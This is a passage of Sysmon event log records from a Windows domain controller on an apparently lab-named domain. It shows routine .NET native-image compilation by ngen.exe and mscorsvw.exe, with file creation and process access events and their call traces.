C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\a68-0\\Microsoft.GroupPolicy.Commands.dll\r\nCreationUtcTime: 2020-08-07 12:01:29.996","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:29.996","ProcessGuid":"{90617006-4299-5F2D-0000-001052BC0A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\a68-0\\Microsoft.GroupPolicy.Commands.dll","CreationUtcTime":"2020-08-07 12:01:29.996","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6760,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.010\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00103BC00A00}\r\nTargetProcessId: 4468\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.010","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00103BC00A00}","TargetProcessId":"4468","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6761,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.010\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00103BC00A00}\r\nTargetProcessId: 4468\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.010","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00103BC00A00}","TargetProcessId":"4468","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6762,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00103BC00A00}\r\nTargetProcessId: 4468\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00103BC00A00}","TargetProcessId":"4468","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6763,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:30.213\r\nProcessGuid: {90617006-429A-5F2D-0000-00103BC00A00}\r\nProcessId: 4468\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1174-0\\Microsoft.GroupPolicy.Commands.dll\r\nCreationUtcTime: 2020-08-07 12:01:30.213","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:30.213","ProcessGuid":"{90617006-429A-5F2D-0000-00103BC00A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1174-0\\Microsoft.GroupPolicy.Commands.dll","CreationUtcTime":"2020-08-07 12:01:30.213","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6764,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.229\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-001007C40A00}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.229","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-001007C40A00}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6765,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.229\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-001007C40A00}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.229","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-001007C40A00}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6766,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.229\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-001007C40A00}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.229","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-001007C40A00}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6767,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.260\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00104CC70A00}\r\nTargetProcessId: 3040\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.260","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00104CC70A00}","TargetProcessId":"3040","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6768,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.260\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00104CC70A00}\r\nTargetProcessId: 3040\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 